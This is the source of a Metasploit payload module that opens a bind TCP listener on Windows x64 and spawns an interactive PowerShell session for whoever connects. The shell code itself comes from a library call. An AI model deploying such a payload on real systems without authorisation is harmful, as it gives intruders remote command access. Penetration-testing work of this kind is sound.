Path: blob/master/modules/payloads/singles/windows/x64/powershell_bind_tcp.rb
21548 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##4require 'rex/powershell'56###7#8# Extends the Exec payload run a powershell command9#10###11module MetasploitModule12CachedSize = :dynamic1314include Msf::Payload::Windows::Exec_x6415include Rex::Powershell::Command16include Msf::Payload::Windows::Powershell1718def initialize(info = {})19super(20update_info(21info,22'Name' => 'Windows Interactive Powershell Session, Bind TCP',23'Description' => 'Listen for a connection and spawn an interactive powershell session',24'Author' => [25'Ben Turner', # benpturner26'Dave Hardy' # davehardy2027],28'References' => [29['URL', 'https://blog.nettitude.com/uk/interactive-powershell-session-via-metasploit']30],31'License' => MSF_LICENSE,32'Platform' => 'win',33'Arch' => ARCH_X64,34'Handler' => Msf::Handler::BindTcp,35'Session' => Msf::Sessions::PowerShell36)37)38end3940#41# Override the exec command string42#43def powershell_command44generate_powershell_code('Bind')45end46end474849